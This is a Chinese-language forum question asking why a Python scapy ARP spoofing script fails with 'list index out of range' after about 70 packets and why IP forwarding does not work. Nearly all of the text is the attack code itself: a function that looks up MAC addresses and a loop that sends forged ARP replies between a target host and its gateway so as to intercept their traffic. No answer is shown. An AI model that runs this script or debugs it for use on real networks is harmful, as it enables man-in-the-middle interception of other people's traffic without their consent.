如何在arp程序中修复“列表索引超出范围”

Question

我被Python中的地址解析协议欺骗程序所困扰。我的代码仅发送70个数据包，然后显示错误“列表索引超出范围”，并且IP转发不起作用。

def getmac(ip):

      arpreq = scapy.ARP(pdst=ip)
      broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
      arpbroad = broadcast/arpreq
      ans = scapy.srp(arpbroad, timeout=1, verbose=False)[0]
      return ans[0][1].hwsrc

def spoof(target,spoofip):

      tarmac = getmac(target)
      a = scapy.ARP(op=2, pdst=target, hwdst=tarmac, psrc=spoofip)
      scapy.send(a)

      count = 0
while True:
     spoof("192.168.31.10", "192.168.31.1")
     spoof("192.168.31.1", "192.168.31.10")
     count = count+2
     print("[+] Packets sent:"+str(count))
     time.sleep(2)